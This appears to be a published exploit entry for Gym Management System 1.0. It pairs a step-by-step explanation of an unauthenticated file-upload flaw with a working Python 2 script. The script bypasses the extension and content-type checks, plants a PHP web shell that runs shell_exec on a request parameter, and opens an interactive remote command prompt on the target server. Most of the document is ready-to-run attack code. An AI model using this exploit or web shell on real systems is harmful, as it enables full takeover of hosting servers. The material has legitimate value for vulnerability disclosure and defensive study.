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103 | # Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-21
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Tested Using: Python 2.7.17
# Vulnerability Description:
# Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# Exploit Details:
# 1. Access the '/upload.php' page, as it does not check for an authenticated user session.
# 2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
# - `upload.php?id=kamehameha`
# /upload.php:
# 4 $user = $_GET['id'];
# 34 move_uploaded_file($_FILES["file"]["tmp_name"],
# 35 "upload/". $user.".".$ext);
# 3. Bypass the extension whitelist by adding a double extension, with the last one as an acceptable extension (png).
# /upload.php:
# 5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
# 6 $extension = @end(explode(".", $_FILES["file"]["name"]));
# 14 && in_array($extension, $allowedExts))
# 4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to 'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
# 7 if(isset($_POST['pupload'])){
# 8 if ((($_FILES["file"]["type"] == "image/gif")
# 11 || ($_FILES["file"]["type"] == "image/png")
# 5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
# <?php echo shell_exec($_GET["telepathy"]); ?>
# 6. The Web Application will rename the file to have the extension with the second item in an array created from the file name; seperated by the '.' character.
# 30 $pic=$_FILES["file"]["name"];
# 31 $conv=explode(".",$pic);
# 32 $ext=$conv['1'];
# - Our uploaded file name was 'kaio-ken.php.png'. Therefor $conv['0']='kaio-ken'; $conv['1']='php'; $conv['2']='png';
# 7. Communicate with the webshell at '/upload.php?id=kamehameha' using GET Requests with the telepathy parameter.
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET
def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG
if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
sys.exit(-1)
SERVER_URL = sys.argv[1]
UPLOAD_DIR = 'upload.php?id=kamehameha'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
s = requests.Session()
s.get(SERVER_URL, verify=False)
PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png = {
'file':
(
'kaio-ken.php.png',
PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
webshell(SERVER_URL, s)
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